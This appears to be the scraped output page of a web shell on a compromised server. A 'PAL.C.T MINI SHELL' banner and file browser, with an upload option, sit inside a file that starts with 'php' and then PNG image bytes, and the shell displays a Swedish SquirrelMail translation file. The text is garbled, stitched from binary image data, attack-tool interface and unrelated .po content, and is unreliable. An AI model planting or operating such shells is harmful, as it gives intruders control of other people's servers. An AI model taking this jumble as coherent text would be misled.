php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/share/squirrelmail/locale/sv_SE/LC_MESSAGES/
upload
files >> //proc/self/root/usr/share/squirrelmail/locale/sv_SE/LC_MESSAGES/html_mail.po

# Swedish (sv_SE) html_mail Translation (SquirrelMail plugin)
# Copyright (c) 1999-2009 The SquirrelMail Project Team
# This file is distributed under the same license as the SquirrelMail package.
# Fredrik Jervfors <jervfors@squirrelmail.org>, 2005-2009.
# $Id: html_mail.po 13541 2009-04-15 12:42:12Z jervfors $
msgid ""
msgstr ""
"Project-Id-Version: html_mail 2.3\n"
"POT-Creation-Date: 2005-10-24 21:00+0300\n"
"PO-Revision-Date: 2005-10-26 07:14+0200\n"
"Last-Translator: Fredrik Jervfors <jervfors@squirrelmail.org>\n"
"Language-Team: Swedish <squirrelmail-i18n@lists.sourceforge.net>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"

#, php-format
msgid "ERROR (%s): can't load config file"
msgstr "FEL (%s): kan inte ladda konfigurationsfilen"

msgid "HTML"
msgstr "HTML"

msgid ""
"Warning: all special formatting will be lost.  Are you sure you want to send "
"your message in plain text format?"
msgstr ""
"Varning: all formatering kommer att förloras. Är du säker på att du vill "
"skicka brevet som ren text?"

msgid "Plain Text"
msgstr "Ren text"

msgid "Compose in HTML"
msgstr "Skriv i HTML-läge"

#, php-format
msgid ""
"FATAL: HTML_Mail plugin must come AFTER %s in plugins array.  Please modify "
"plugin order using conf.pl or by editing config/config.php"
msgstr ""
"FEL: Insticksmodulen HTML Mail måste komma efter %s i konfigureringen. Ändra "
"ordningen genom att använda conf.pl eller genom att redigera config/config."
"php"

msgid "Subject"
msgstr "Ärende"

msgid "From"
msgstr "Från"

msgid "Default Email Composition Format:"
msgstr "Förvalt format för nya brev:"

msgid "Use Emoticons:"
msgstr "Använd ikoner:"

msgid "Yes"
msgstr "Ja"

msgid "No"
msgstr "Nej"

msgid "Only Reply In HTML When Viewing HTML Format:"
msgstr "Svara endast som HTML om brevet visas som HTML:"

msgid "(Always Attempt To Reply In HTML)"
msgstr "(Försök alltid svara som HTML)"

msgid "Only Allow Unsafe Images In HTML Replies When Viewing Unsafe Images:"
msgstr "Tillåt endast osäkra bilder när osäkra bilder visas:"

msgid "(Always Include Unsafe Images)"
msgstr "(Inkludera alltid osäkra bilder)"

msgid "HTML Editor Type:"
msgstr "HTML-editor"

msgid "FCKeditor"
msgstr "FCKeditor"

msgid "HTMLArea"
msgstr "HTMLArea"
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`